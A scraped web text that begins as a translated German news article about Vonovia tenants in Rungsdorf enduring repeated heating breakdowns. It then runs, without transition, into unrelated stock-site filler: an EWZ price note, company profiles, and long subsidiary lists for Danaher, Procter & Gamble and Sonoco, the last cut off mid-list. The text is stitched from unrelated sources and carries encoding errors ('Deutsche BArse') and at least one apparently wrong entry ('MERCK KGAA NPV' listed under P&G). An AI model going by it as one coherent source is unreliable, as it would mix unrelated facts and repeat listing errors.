left in the cold in major apartment complex RUNGSDORF In the Vonovia apartments in Rungsdorf, the heating has broken down once again. Left in the cold, tenants want to exert pressure on Germanys largest residential property company. Teilen Teilen Weiterleiten Weiterleiten Tweeten Tweeten Weiterleiten Weiterleiten Drucken It doesnt matter whether they are young, old or ill - the tenants of the apartment complex on Mendelssohnstrasse and Kapellenweg have one thing in common: they are all sitting in the cold and freezing while outside temperatures become more wintry. In 2016, there were reports of a major heating outage in the residential complex. Two years later, its the same news. Vonovia is Germany's largest residential property company. "Being the market leader is inextricably linked with responsibility - responsibility for the approximately one million people who live in our buildings", reads the company's website. Tenant Udo Skomorowsky is not feeling this sense of responsibility. For years he and his fellow tenants have been complaining about recurring heating outages. Up to 15 times a year. In October 2016 he reported it being only 16 degrees Celsius in his living room. Last week it happened again, the entire heating system went out. On Thursday evening it was just 14 degrees in Skomorowsky's apartment. The worst thing for him: he feels abandoned by his landlord. "I called the service hotline several times and was promised it would be fixed (but nothing happened)." On Saturday, December 15, he turned to the hotline again. He was told a Cologne company would repair it on that same day. But on Sunday morning it was still cold in the apartment complex. "I picked up the phone again and complained. The employee told me that the heating had already been repaired. But now there was no more oil in the heating tank," lamented the tenant. This was a shock for him, that one of the largest apartment rental companies in Germany couldnt manage to keep the oil tank filled. "Why am I paying for heat, anyway? It's always cold." Renter Janine Djuric is also appalled. Since 2008 she has been living in the complex, where the heating breaks down almost every winter. Vonovia doesn't take her complaints seriously, she explains: "Why the uproar?", she said she was told, when she reported that her apartment had dropped down to eleven degrees. "I just don't understand how they can constantly buy up everything in Bonn." Because every time she looks around for other affordable apartments, she ends up back at Vonovia. "Why do I even pay for a heated apartment? It's always cold, and I always have a cold," says Djuric. And that even though she suffers from respiratory illness. The mother of her friend also lives in the complex. "The woman is seriously ill with cancer - terminally ill. And now she has the flu. Below me lives a family with three children. The smallest has freezing cold fingers and has been sniffing for days." "The causes for the (heating) breakdowns can be very different," says Vonovia spokesman Max Niklas Gille. Currently, air in the lines is probably the problem. And delivery times for spare parts delay the repair work, among other things. "We totally understand that such a situation is extremely annoying for the tenants, especially at this time of year. If tenants have a different impression, we very much regret that." The tenants could contact management and together they would look for a solution, for example a possible compensation. Bernhard von Grunberg of the Bonn-Rhein-Sieg Tenants' Association sees Vonovia as a "cumbersome bureaucracy". The general problem is the old systems, which are always breaking down, especially the heating systems and elevators. "All these facilities are getting on in years, and the spare parts are missing. The costs of maintenance are borne by the company alone, so they don't earn a quick buck." They need to be put under pressure for something to happen. This is exactly what the residents of the apartment complex are doing now, they are declaring war on Vonovia. A tenant has already filed a lawsuit against the company for bodily harm. Other tenants also want to sue. "We want to set up a tenant initiative to better represent our interests to the company," Skomorowsky says. Everyone is fully involved and prepared to stop paying rent. "For them, it's all about money. If that doesn't come, they will act," adds Djuric. The closing words: "I just hope to come to a warm apartment tonight." iShares MSCI Brazil ETF's stock was trading at $29.68 on March 11th, 2020 when COVID-19 reached pandemic status according to the World Health Organization (WHO). Since then, EWZ shares have decreased by 0.8% and is now trading at $29.44. View which stocks have been most impacted by COVID-19. C&J Energy Services, Inc. provides well construction, well completion, well support, and other complementary oilfield services and technologies to oil and gas exploration and production companies throughout the continental United States. It operates through Completion Services and Well Support Services segments. The Completion Services segment provides hydraulic fracturing; cased-hole solutions comprising cased-hole wireline, pumpdown, wireline logging, perforating, pressure pumping, well site make-up and pressure testing, and other complementary services; and well construction and intervention services, which include cementing, coiled tubing, rig services, fluids management, and other completion and well support services. This segment also engages in the engineering and production of various parts and components, such as perforating guns and addressable switches, which are used in the completion process. The Well Support Services segment offers rig services, such as providing workover and well servicing rigs that are primarily used for the routine repair and maintenance of oil and gas wells, re-drilling operations, and plugging and abandonment operations; fluids management services, including storage, transportation, and disposal services for fluids used in the drilling, completion, and workover of oil and gas wells; and other special well site services, such as fishing, contract labor, and tool rental services for the completion and workover of oil and gas wells. The company was founded in 1997 and is headquartered in Houston, Texas. Read More Royal Dutch Shell plc operates as an energy and petrochemical company worldwide. The company operates through Integrated Gas, Upstream, Oil Products, Chemicals segments. It explores for and extracts crude oil, natural gas, and natural gas liquids; markets and transports oil and gas; produces gas-to-liquids fuels and other products; and operates upstream and midstream infrastructure necessary to deliver gas to market. The company also markets and trades natural gas, liquefied natural gas (LNG), crude oil, electricity, carbon-emission rights; and markets and sells LNG as a fuel for heavy-duty vehicles and marine vessels. In addition, it trades in and refines crude oil and other feed stocks, such as gasoline, diesel, heating oil, aviation fuel, marine fuel, biofuel, lubricants, bitumen, and sulphur; produces and sells petrochemicals for industrial use; and manages oil sands activities. Further, the company produces base chemicals comprising ethylene, propylene, and aromatics, as well as intermediate chemicals, such as styrene monomer, propylene oxide, solvents, detergent alcohols, ethylene oxide, and ethylene glycol. Royal Dutch Shell plc was founded in 1907 and is headquartered in The Hague, the Netherlands. Read More Continental Building Products Inc (NYSE:CBPX) released its quarterly earnings data on Tuesday, November, 12th. The construction company reported $0.39 EPS for the quarter, topping the Thomson Reuters' consensus estimate of $0.38 by $0.01. The construction company earned $127.40 million during the quarter, compared to the consensus estimate of $127.16 million. Continental Building Products had a net margin of 12.12% and a trailing twelve-month return on equity of 18.84%. Continental Building Products's revenue for the quarter was down 2.9% on a year-over-year basis. During the same period last year, the firm earned $0.51 EPS. View Continental Building Products' earnings history. HDFC Bank Ltd. engages in the provision of banking and financial services, including commercial banking and treasury operations. The firm also provides financial services to upper and middle income individuals and corporations in India. It operates through the following segments: Treasury, Retail Banking, Wholesale Banking and Other Banking Operations. The Treasury segment consists of bank's investment portfolio, money market borrowing and lending, investment operations and trading in foreign exchange and derivative contracts. The Retail Banking segment provides loans and other services to customers through a branch network and other delivery channels. The Wholesale Banking segment provides loans, non-fund facilities and transaction services to large corporates, emerging corporates, public sector units, government bodies, financial institutions, and medium scale enterprises. The Other Banking Business segment includes income from para banking activities such as credit cards, debit cards, third party product distribution, primary dealership business, and the associated costs. The company was founded by Aditya Tapishwar Puri in August 1994 and is headquartered in Mumbai, India. Read More The following companies are subsidiares of Danaher: AB SCIEX, AB Sciex Germany GmbH, AB Sciex LLC, AB Sciex LP, AB Sciex Pte Ltd., Accu-Sort Systems, Acme Cleveland Corporation, Advanced Vision Technology, American Precision Industries, Applied Biosystems, Applitek NV, Aquatic Infomatics ULC, Aquatic Informatics, Armstrong Tools, BC Distribution BV, Beckman Coulter, Beckman Coulter Australia Pty Ltd, Beckman Coulter Biotechnology (Suzhou) Co. Ltd., Beckman Coulter Biyomedikal Urunler Sanayi ve Ticaret Limited [irketi], Beckman Coulter Canada LP, Beckman Coulter Commercial Enterprise (China) Co. Ltd., Beckman Coulter France S.A.S., Beckman Coulter G.m.b.H., Beckman Coulter Genomics Inc., Beckman Coulter Hong Kong Limited, Beckman Coulter Inc., Beckman Coulter India Private Limited, Beckman Coulter International SA, Beckman Coulter International Shanghai Trading Co., Beckman Coulter Ireland Inc., Beckman Coulter K.K., Beckman Coulter Korea Ltd., Beckman Coulter Laboratory Systems (Suzhou) Co. Ltd., Beckman Coulter Limited Liability Company, Beckman Coulter Mishima KK, Beckman Coulter Nederland B.V., Beckman Coulter Nippon GK, Beckman Coulter S.L.U., Beckman Coulter Saudi Arabia Co.Ltd., Beckman Coulter Srl, Beckman Coulter Taiwan Inc., Beckman Coulter United Kingdom Limited, Beckman Coulter de Mexico S.A. de C.V., Beckman Coulter do Brasil Ltda., Beckman Finance ApS, Beckman Holdings Ltd., BioTector Analytical Systems Ltd, Biosafe S.A., Blue Software LLC, Cepheid, Cepheid AB, Cepheid Europe SAS, Cepheid GmbH, Cepheid HBDC SAS, Cepheid UK Ltd., ChemTreat, ChemTreat Inc., ChemTreat International Inc., Cispus Hong Kong Holding Limited, Cytiva, Cytiva BioProcess R&D AB, Cytiva Biotechnology (Guangzhou) Co. Ltd., Cytiva Biotechnology (Hang Zhou) Co. Ltd., Cytiva Europe GmbH, Cytiva Sweden AB, Cytiva Sweden Holding AB, DH Europe Finance II Sarl, DH Europe Finance Sarl, DH Holding Italia SRL, DH Japan Finance Sarl, DH Life Sciences LLC, DH Netherlands BV, DH Technologies Development Pte Ltd., DHKAB Company AB, DTIL Ireland Holdings Ltd., Danaher (Shanghai) Management Co. Ltd., Danaher Hong Kong Limited, Danaher Medical ApS, Delta Consolidated Industries, Devicore Medical Products Inc., Easco Hand Tools, Esko, Esko BV, Esko Finance BV, Esko Graphics BV, Esko Software BV, FHAB Company AB, Fluke, G. Lufft Mess- und Regeltechnik GmbH, GE Biopharma, Gelman Sciences Inc., Gendex, Genetix Group, Gilbarco Veeder Root, Gilzoni Ltd., Global Life Sciences Solutions Austria GmbH & Co. KG, Global Life Sciences Solutions Germany GmbH, Global Life Sciences Solutions Korea Ltd., Global Life Sciences Solutions Manufacturing UK Ltd, Global Life Sciences Solutions New Zealand, Global Life Sciences Solutions Operations UK Ltd, Global Life Sciences Solutions Singapore Pte Ltd, Global Life Sciences Solutions USA LLC, Global Life Sciences Technologies (Shanghai) Co Ltd., Global Life Sciences Technologies Japan KK, Hach Company, Hach Lange Finance GmbH, Hach Lange GmbH, Hach Lange Sarl, Hach Sales & Services Canada LP, Hach Ultra Japan KK, Hach Water Quality Analytical Instru. (Shanghai) Co. Ltd., HemoCue AB, HyClone Laboratories LLC, Hybritech Incorporated, Hyclone Life Sciences Solutions India Private Limited, IDBS Group, IRIS International, Imaging Sciences International, Immunotech SAS, Immunotech Sro, Intabio LLC, Integrated DNA Technologies, Integrated DNA Technologies BVBA, Integrated DNA Technologies Inc., Integrated DNA Technologies Pte. Ltd., Iris International Inc., Joslyn Holding Company LLC, KVHG GmbH, KaVo, KaVo Kerr, Kaltenbach & Voigt, Keithley Instruments, Kipp & Zonen BV, Kollmorgen, Labcyte Inc., Laetus, Leica Biosystems Imaging Inc., Leica Biosystems Melbourne Pty Ltd, Leica Biosystems Newcastle Limited, Leica Biosystems Nussloch GmbH, Leica Biosystems Richmond Inc., Leica Instruments (Singapore) Pte Limited, Leica Microsystems, Leica Microsystems (UK) Limited, Leica Microsystems CMS GmbH, Leica Microsystems Cambridge Limited, Leica Microsystems IR GmbH, Leica Microsystems Inc., Leica Microsystems Limited, Leica Microsystems Ltd. Shanghai, Leica Mikrosysteme Vertrieb GmbH, Life Sciences Holdings France SAS*, Lifschultz Industries, Linx Printing Technologies, Linx Printing Technologies Limited, MDS Analytical Technologies, Marconi Data Systems, McCrometer Inc., Microtest, Molecular Devices, Molecular Devices (Austria) GmbH, Molecular Devices LLC, Navman Wireless, Navman Wireless OEM Solutions, Nihon Pall Ltd., Nihon Pall Manufacturing Limited, Nobel Biocare, OTT Hydromet Corp, Pall, Pall (Canada) ULC, Pall (China) Co. Ltd., Pall (Schweiz) GmbH, Pall Aeropower Corporation, Pall Artelis BVBA, Pall Asia Holdings Inc., Pall Australia Pty. Ltd., Pall Austria Filter Ges.m.b.h, Pall Corporation, Pall Europe Limited, Pall Filtersystems GmbH, Pall Filtration Pte. Ltd., Pall Filtration and Separations Group Inc., Pall France SAS, Pall GmbH, Pall India Pvt. Ltd., Pall International Sarl, Pall Italia Srl, Pall Korea Ltd., Pall Life Sciences Belgium BV, Pall Life Sciences Puerto Rico LLC, Pall Manufacturing UK Limited, Pall Medistad BV, Pall Netherlands BV Irish Branch, Pall Technology UK Limited, PaloDEX, Pantone LLC, Pelton & Crane, Phenomenex, Phenomenex Inc., Precision NanoSystems, QHC Ireland Finance Limited, Radiometer, Radiometer Basel AG, Radiometer K.K., Radiometer Medical ApS, Radiometer Medical Equipment (Shanghai) Co. Ltd., Radiometer Turku Oy, Raytek, Reytek Corporation, SH Switzerland Finance Sarl, Sea-Bird Electronics Inc., SenDx Medical Inc., Shanghai AB Sciex Analytical Instrument Trading Co. Ltd., Sutron, Sybron Dental Specialties, TCIL Ireland Finance Ltd., Tektronix, Thomson Industries, Tianjin Bonna-Agela Technologies Co. Ltd., Trojan Technologies, Trojan Technologies Group ULC, VSS Monitoring, Videojet Do Brasil Comercio de Equipamentos Para Codificacao Industrial Ltda., Videojet Technologies (Shanghai) Co. Ltd., Videojet Technologies Europe B.V., Videojet Technologies Inc., Viridor Waste Management Limited, Vision Systems Limited, Willett International, X-Ray Optical Systems Inc., X-Rite, X-Rite Europe GmbH, X-Rite Incorporated, X-Rite Switzerland GmbH, XOS, Yukon Hong Kong Holding Limited, and Zhuhai S.E.Z. Videojet Electronics Ltd.. Deutsche BArse AG operates as an exchange organization in Europe, the United States, and the Asia-Pacific. The company operates through seven segments: Eurex (Financial Derivatives), EEX (Commodities), 360T (Foreign Exchange), Xetra (Cash Equities), Clearstream (Post-Trading), IFS (Investment Fund Services), and Qontigo (index and analytics business). The company engages in the electronic trading of derivatives, electricity and gas products, emission rights, and foreign exchange; operating of Eurex Repo over the counter (OTC) trading platform and electronic clearing architecture; and operating as a central counterparty for on-and-off exchange derivatives, repo transactions, and OTC and exchange-traded derivatives. It also operates in the cash market through Xetra, BArse Frankfurt, and Tradegate trading venues; operates as a central counterparty for equities and bonds; and provides listing services. In addition, the company offers custody and settlement services for securities; investment fund services; global securities financing services; and global securities finance and collateral management, as well as secured money, market transaction, and repos and securities lending transaction services. Further, it develops and markets indices, as well as portfolio management and risk analysis software; markets licenses for trading and market signals; provides technology and reporting solutions for external customers; and offers link-up of trading participants. Deutsche BArse AG was founded in 1585 and is headquartered in Eschborn, Germany. Read More The following companies are subsidiares of Procter & Gamble: "Procter & Gamble Services" LLC, "Procter & Gamble" LLC, Agile Pursuits, Agile Pursuits Franchising, Arbora, Arbora & Ausonia, Arborinvest, Billie, Braun (Shanghai) Co., Braun GmbH, Braun-Gillette Immobilien GmbH & Co. KG, Celtic Insurance Company, Compania Procter & Gamble Mexico, Compania Quimica S.A., Corporativo Procter & Gamble, Cosmetic Products Pty. Ltd., Detergent Products B.V., Detergent Products SARL, Detergenti S.A., Eurocos Cosmetic GmbH, FPG Oleochemicals Sdn. Bhd., Fameccanica Data S.p.A., Fameccanica Industria e Comercio Do Brasil LTDA., Fameccanica Machinery (Shanghai) Co., Fater S.p.A., Fountain Square Music Publishing Co., Gillette (China) Ltd., Gillette (Shanghai) Ltd., Gillette Aesop Ltd., Gillette Australia Pty. Ltd., Gillette Canada Holdings, Gillette Commercial Operations North America, Gillette Diversified Operations Pvt. Ltd., Gillette Egypt S.A.E., Gillette Group UK Ltd, Gillette Gruppe Deutschland GmbH & Co. oHG, Gillette Holding Company LLC, Gillette Holding GmbH, Gillette India Limited, Gillette Industries Ltd., Gillette International B.V., Gillette Latin America Holding B.V., Gillette Management LLC, Gillette Nova Scotia Company, Gillette Pakistan Limited, Gillette Poland International Sp. z.o.o., Gillette Poland S.A., Gillette U.K. Limited, Gillette del Uruguay, Giorgio Beverly Hills Inc., Hyginett KFT, Industries Marocaines Modernes SA, LLC "Procter & Gamble Novomoskovsk", LLL "Procter & Gamble Distributorskaya Compania", Laboratorios Vicks, Liberty Street Music Publishing Company, Limited Liability Company 'Procter & Gamble Trading Ukraine', Limited Liability Company with foreign investments Procter & and Gamble Ukraine, MDVIP, MERCK KGAA NPV, Marcvenca Inversiones, Modern Industries Company - Dammam, Modern Products Company - Jeddah, New Chapter, New Chapter Canada Inc., Olay LLC, Oral-B Laboratories, P&G Distribution Morocco SAS, P&G Hair Care Holding, P&G Industrial Peru S.R.L., P&G Innovation Godo Kaisha, P&G Israel M.D.O. Ltd., P&G K.K., P&G Northeast Asia Pte. Ltd., P&G Prestige Godo Kaisha, P&G Prestige Service GmbH, P&G South African Trading (Pty.) Ltd., PGT Health Care (Zhejiang) Limited, PGT Healthcare LLP, PPI ZAO, PT Procter & Gamble Home Products Indonesia, PT Procter & Gamble Operations Indonesia, Phase II Holdings Corporation, Procter & Gamble (Chengdu) Ltd., Procter & Gamble (China) Ltd., Procter & Gamble (China) Sales Co. Ltd., Procter & Gamble (East Africa) Limited, Procter & Gamble (Egypt) Manufacturing Company, Procter & Gamble (Enterprise Fund) Limited, Procter & Gamble (Guangzhou) Consumer Products Co. Ltd., Procter & Gamble (Guangzhou) Enterprise Management Service Company Limited, Procter & Gamble (Guangzhou) Ltd., Procter & Gamble (Health & Beauty Care) Limited, Procter & Gamble (Jiangsu) Ltd. China, Procter & Gamble (L&CP) Limited, Procter & Gamble (Malaysia) Sdn Bhd, Procter & Gamble (Manufacturing) Ireland Limited, Procter & Gamble (Shanghai) International Trade Company Ltd., Procter & Gamble (Singapore) Pte. Ltd., Procter & Gamble Acquisition GmbH, Procter & Gamble Administration GmbH, Procter & Gamble Algeria EURL, Procter & Gamble Amazon Holding B.V., Procter & Gamble Amiens S.A.S., Procter & Gamble Argentina SRL, Procter & Gamble Asia Pte. Ltd., Procter & Gamble Australia Proprietary Limited, Procter & Gamble Azerbaijan Services LLC, Procter & Gamble Bangladesh Private Ltd., Procter & Gamble Blois S.A.S., Procter & Gamble Brazil Holdings B.V., Procter & Gamble Bulgaria EOOD, Procter & Gamble Business Services Canada Company, Procter & Gamble Canada Holding B.V., Procter & Gamble Chile , Procter & Gamble Chile Limitada, Procter & Gamble Colombia Ltda., Procter & Gamble Commercial LLC, Procter & Gamble Commercial de Cuba S.A., Procter & Gamble Czech Republic s.r.o., Procter & Gamble DS Polska Sp. z o.o., Procter & Gamble Danmark ApS, Procter & Gamble Detergent (Beijing) Ltd., Procter & Gamble Deuttschland GmbH, Procter & Gamble Distributing (Philippines) Inc., Procter & Gamble Distributing New Zealand Limited, Procter & Gamble Distribution Company (Europe) BVBA, Procter & Gamble Distribution S.R.L., Procter & Gamble Eastern Europe, Procter & Gamble Ecuador Cia. Ltda., Procter & Gamble Egypt, Procter & Gamble Egypt Distribution, Procter & Gamble Egypt Holding, Procter & Gamble Egypt Supplies, Procter & Gamble Energy Company LLC, Procter & Gamble Espana, Procter & Gamble Europe SA, Procter & Gamble Export Operations SARL, Procter & Gamble Exportadora e Importadora Ltda., Procter & Gamble Exports, Procter & Gamble Fabricacao e Comercio Ltda., Procter & Gamble Far East, Procter & Gamble Finance (U.K.) Ltd., Procter & Gamble Finance Holding Ltd., Procter & Gamble Finance Management S.a.r.l., Procter & Gamble Financial Investments LLP, Procter & Gamble Financial Services Ltd., Procter & Gamble Financial Services S.a.r.l., Procter & Gamble Finland OY, Procter & Gamble France S.A.S., Procter & Gamble Germany GmbH, Procter & Gamble Germany GmbH & Co. Operations oHG, Procter & Gamble GmbH, Procter & Gamble Grundstucks-und Vermogensverwaltungs GmbH & Co. KG, Procter & Gamble Gulf FZE, Procter & Gamble Hair Care, Procter & Gamble Hellas Ltd., Procter & Gamble Holding (Thailand) Limited, Procter & Gamble Holding France S.A.S., Procter & Gamble Holding GmbH, Procter & Gamble Holding S.r.l., Procter & Gamble Holdings (UK) Ltd., Procter & Gamble Home Products Private Limited, Procter & Gamble Hong Kong Limited, Procter & Gamble Hungary Wholesale Trading Partnership (KKT), Procter & Gamble Hygiene & Health Care Limited, Procter & Gamble Inc., Procter & Gamble India Holdings, Procter & Gamble Indochina Limited Company, Procter & Gamble Industrial - 2012 C.A., Procter & Gamble Industrial Colombia Ltda., Procter & Gamble Industrial S.C.A., Procter & Gamble Industrial e Comercial Ltda., Procter & Gamble Interamericas de Costa Rica, Procter & Gamble Interamericas de Guatemala, Procter & Gamble Interamericas de Panama, Procter & Gamble International Operations Pte. Ltd., Procter & Gamble International Operations SA, Procter & Gamble International Operations SA-ROHQ, Procter & Gamble International S.a.r.l., Procter & Gamble Investment Company (UK) Ltd., Procter & Gamble Investment GmbH, Procter & Gamble Italia, Procter & Gamble Japan K.K., Procter & Gamble Kazakhstan Distribution LLP, Procter & Gamble Kazakhstan LLP, Procter & Gamble Korea, Procter & Gamble Korea S&D Co., Procter & Gamble Lanka Private Ltd. Sri Lanka, Procter & Gamble Leasing LLC, Procter & Gamble Levant S.A.L., Procter & Gamble Limited, Procter & Gamble Manufacturing (Thailand) Limited, Procter & Gamble Manufacturing (Tianjin) Co. Ltd., Procter & Gamble Manufacturing Belgium N.V., Procter & Gamble Manufacturing Berlin GmbH, Procter & Gamble Manufacturing GmbH, Procter & Gamble Manufacturing Mexico S. de R.L. de C.V., Procter & Gamble Manufacturing SA (Pty) Ltd, Procter & Gamble Marketing Romania SRL, Procter & Gamble Marketing and Services doo, Procter & Gamble Maroc SA, Procter & Gamble Mataro, Procter & Gamble Mexico Holding B.V., Procter & Gamble Mexico Inc., Procter & Gamble Middle East FZE, Procter & Gamble Nederland B.V., Procter & Gamble Netherlands Investments B.V., Procter & Gamble Netherlands Services B.V., Procter & Gamble Nigeria Limited, Procter & Gamble Nordic, Procter & Gamble Norge AS, Procter & Gamble Operations Polska Sp. z o.o., Procter & Gamble Overseas India B.V., Procter & Gamble Overseas Ltd., Procter & Gamble Pakistan (Private) Limited, Procter & Gamble Partnership LLP, Procter & Gamble Peru S.R.L., Procter & Gamble Pharmaceuticals France SAS, Procter & Gamble Philippines, Procter & Gamble Polska Sp. z o.o, Procter & Gamble Portugal - Produtos De Consumo, Procter & Gamble Product Supply (U.K.) Limited U.K., Procter & Gamble Production GmbH, Procter & Gamble Productions, Procter & Gamble Productos de Consumo, Procter & Gamble RHD, Procter & Gamble RSC Regional Service Company Ltd., Procter & Gamble Retail Services BVBA, Procter & Gamble S.r.l., Procter & Gamble SA (Pty) Ltd, Procter & Gamble Satis ve Dagitim Ltd. Sti., Procter & Gamble Seine S.A.S., Procter & Gamble Service GmbH, Procter & Gamble Services (Switzerland) SA, Procter & Gamble Services Company N.V., Procter & Gamble Services Ltd., Procter & Gamble Share Incentive Plan Trustee Ltd., Procter & Gamble South America Holding B.V., Procter & Gamble Spol. s.r.o. (Ltd.), Procter & Gamble Sports and Social Club Ltd., Procter & Gamble Sverige AB, Procter & Gamble Switzerland SARL, Procter & Gamble Taiwan Limited, Procter & Gamble Taiwan Sales Company Limited, Procter & Gamble Technical Centres Limited, Procter & Gamble Technology (Beijing) Co., Procter & Gamble Trading (Thailand) Limited, Procter & Gamble Tuketim Mallari Sanayii A.S., Procter & Gamble UK, Procter & Gamble UK Group Holdings Ltd, Procter & Gamble UK Parent Company Ltd., Procter & Gamble Universal Holding B.V., Procter & Gamble Verwaltungs GmbH, Procter & Gamble Vietnam, Procter & Gamble d.o.o. za trgovinu, Procter & Gamble de Venezuela S.C.A., Procter & Gamble de Venezuela S.R.L., Procter & Gamble do Brasil S/A, Procter & Gamble do Brazil, Procter & Gamble do Nordeste S/A, Procter & Gamble-Rakona s.r.o., Progam Realty & Development Corporation, Redmond Products, Richardson-Vicks Real Estate Inc., Richardson-Vicks do Brasil Quimica e Farmaceutica Ltda, Riverfront Music Publishing Co., Rosemount LLC, SPD Development Company Limited, SPD Swiss Precision Diagnostics GmbH, Scannon S.A.S., Series Acquisition B.V., Shulton, Surfac S.R.L., Sycamore Productions, TAOS - FL, TAOS Retail, Tambrands Inc., Temple Trees Impex & Investment Private Limited, The Art of Shaving - FL, The Dover Wipes Company, The Gillette Company, The Gillette Company LLC, The Gillette co., The Procter & Gamble Distributing LLC, The Procter & Gamble GBS Company, The Procter & Gamble Global Finance Company, The Procter & Gamble Manufacturing Company, The Procter & Gamble Paper Products Company, The Procter & Gamble U.S. Business Services Company, This is L., US CD LLC, Vidal Sassoon (Shanghai) Academy, Vidal Sassoon Co., WEBA Betriebsrenten-Verwaltungsgesellschaft mbH, Walker & Company Brands, and iMFLUX Inc.. The Boeing Co. is an aerospace company, which engages in the manufacture of commercial jetliners and defense, space and security systems. It operates through the following segments: Commercial Airplanes; Defense, Space and Security; Global Services; and Boeing Capital. The Commercial Airplanes segment includes the development, production, and market of commercial jet aircraft and provides fleet support services, principally to the commercial airline industry worldwide. The Defense, Space and Security segment refers to the research, development, production and modification of manned and unmanned military aircraft and weapons systems for global strike, including fighter and combat rotorcraft aircraft and missile systems; global mobility, including tanker, rotorcraft and tilt-rotor aircraft; and airborne surveillance and reconnaissance, including command and control, battle management and airborne anti-submarine aircraft. The Global Services segment provides services to commercial and defense customers. The Boeing Capital segment seeks to ensure that Boeing customers have the financing they need to buy and take delivery of their Boeing product and manages overall financing exposure. T Read More First BanCorp (Puerto Rico) is a holding company, which engages in the provision of personal, commercial, and corporate banking services through its subsidiaries. It operates through the following segments: Commercial and Corporate Banking, Consumer (Retail) Banking, Mortgage Banking, Treasury and Investments, United States Operations, and Virgin Islands Operations. The Commercial and Corporate Banking segment consists of the company's lending and other services for large customers represented by specialized and middle-market clients and the public sector. The Consumer (Retail) Banking segment includes consumer lending and deposit-taking activities conducted mainly through FirstBank's branch network in Puerto Rico. The Mortgage Banking segment focuses on the origination, sale, and servicing of a variety of residential mortgage loan products and related hedging activities. The Treasury and Investments segment deals with treasury and investment management functions. The United States Operations segment represents all banking activities conducted by FirstBank on the United States mainland. The Virgin Islands Operations segment includes all banking activities conducted by FirstBank in Read More The following companies are subsidiares of Sonoco Products: AMGH, APEI UK Limited, APEI Unlimited IOM, Associated Packaging Technologies Inc., Beteiligungen Sonoco Deutschland Vermogensverwaltungsgesellschaft mbh, CP Acquisition LLC, Can Packaging, Can Packaging SAS, Cap Liners Limited, Capseals Limited, Capseals Liners Limited, Cascades Sonoco Inc. (fka Cascades Conversion Inc), Clear Lam Flexible Films (Nanjing) Co. Ltd., Clear Lam Packaging Inc., Clear Pack Co., Clear Pack Company, Colombiana P.M. LLC, Conitex Sonoco (BVI) Ltd., Conitex Sonoco (Mexico) S. de R.L. de C.V., Conitex Sonoco Hellas S.A., Conitex Sonoco Holding B.V., Conitex Sonoco Inc., Conitex Sonoco India Pvt. Ltd., Conitex Sonoco N.V., Conitex Sonoco Shanghai Ltd., Conitex Sonoco Suzhou Co. Ltd., Conitex Sonoco Taiwan Ltd., Conitex Sonoco USA Inc., Convex Mold Inc., Corenso Holdings America Inc., Corenso North America, Corenso Richmond LLC, Corepak Limited, CorrFlex Graphics LLC, Demolli Industria Cartaria S.p.A., Engraph Inc., Engraph Puerto Rico Inc., Fair Lawn Packaging Services LLC, Friarsgate Studio Limited, Graffo Paranaense De Embalagens S.A., Graffo Paranaense de Embalagens S/A, Grove Mill Paper Company Limited, Gunther of America Inc., Hartsville Corrugating LLC, Hayes Manufacturing Group, Heathfield Reels Limited, Highland Packaging Solutions, Highland Packaging Solutions LLC, Industrial Machine Co. Inc., Inversiones Sonoco Limitada, Italtubetti SpA, Laminar Medica, Laminar Medica (CE) s.r.o., Laminar Medica Limited, Manufacturas Sonoco S.A. de C.V., Matrix Packaging Inc., Nathaniel Lloyd & Company Limited, OOO Sonoco Alcore (fka ZAO Sonoco Alcore), Ontario Inc., PT Conitex Sonoco, PT Papcor Asia Pacific, PT Papertech Indonesia, PT Sonoco Indonesia, Packaging Holdings Inc., Papcor (Dezhou) Packaging Material Co. Ltd., Papertech Dezhou Co. Ltd., Papertech SL, PenPack LLC, Peninsula Packaging Company, Peninsula Packaging LLC, Penpack S. de R.L. de C.V., Phoenix Packaging Corp., Plastique Holdings LTD, SAS Du Lagon, SCI Lagon Quest, SMB GmbH, SPC Capital Management Inc., SPC Liquidation LLC, SPC Management LLC, SPC Resources Inc., SR Holdings of the Carolinas LLC, Sebro Plastics Inc., Sonoco (Shanghai) Co., Sonoco (Taicang) Packaging Co., Sonoco (Weifang) Packaging Company Ltd., Sonoco Absorbent Technologies LLC, Sonoco Absorbent Technologies Limited, Sonoco Alcore - Demolli S.r.l., Sonoco Alcore AB, Sonoco Alcore GmbH, Sonoco Alcore N.V., Sonoco Alcore Nederland B.V., Sonoco Ambalaj Sanayi Ve Ticaret Limited Sirketi, Sonoco Asia Holding S.a.r.l., Sonoco Asia L.L.C., Sonoco Asia Management Company L.L.C., Sonoco Australia Pty Ltd, Sonoco Board Mills Limited, Sonoco Bonmati S.A.U., Sonoco Canada Corporation, Sonoco Capseals Liners Limited, Sonoco Comercial S. de R.L. de C.V., Sonoco Consumer Products Dordrecht B.V. (fka Dorpak B.V.), Sonoco Consumer Products Europe GmbH (fka Weidenhammer Packaging Group GmbH), Sonoco Consumer Products Hellas S.A. (fka Weidenhammer Hellas S.A.), Sonoco Consumer Products Limited, Sonoco Consumer Products Mechelen BVBA (fka Weidenhammer Belgium BVBA), Sonoco Consumer Products Montanay SAS (fka Neuvibox SAS), Sonoco Consumer Products Poland Sp. Z.O.O., Sonoco Consumer Products SAS, Sonoco Consumer Products South Africa (PTY) Ltd., Sonoco Consumer Products Zwenkau GmbH (fka fka Weidenhammer Plastice Packaging GmbH), Sonoco Cores and Paper Limited, Sonoco D & P LLC, Sonoco D and P York LLC, Sonoco Deutschland GmbH, Sonoco Deutschland Holdings GmbH, Sonoco Development Inc., Sonoco Display and Packaging LLC, Sonoco Elk Grove Inc., Sonoco Embalagens Ltda. (fka Sonoco Embalagens S.A.), Sonoco Europe Limited, Sonoco Flexible Packaging Canada Corporation, Sonoco Flexible Packaging Co. Inc., Sonoco Graphics India Private Limited, Sonoco Hickory Inc., Sonoco Holdings Inc., Sonoco Holdings UK Limited, Sonoco Hutchinson LLC, Sonoco IPD France SAS, Sonoco Iberia S.L.U., Sonoco International Holdings GmbH, Sonoco JV GmbH & Co. KG, Sonoco Kaiping Packaging Co. Ltd., Sonoco Limited, Sonoco Luxembourg Holding S.a.r.l., Sonoco Luxembourg S.a.r.l., Sonoco Milnrow, Sonoco Netherlands Holding II BV, Sonoco Netherlands Holding III BV, Sonoco New Zealand Limited, Sonoco Operadora S. de R.L. de C.V., Sonoco Packaging Limited, Sonoco Packaging Tapes Limited, Sonoco Paper Mill & IPD Hellas SA, Sonoco Paperboard Group LLC, Sonoco Partitions Inc., Sonoco Phoenix LLC, Sonoco Pina S.A.U., Sonoco Plastics B.V., Sonoco Plastics Canada ULC, Sonoco Plastics Germany GmbH, Sonoco Plastics Inc., Sonoco Poland Holdings B.V., Sonoco Polysack 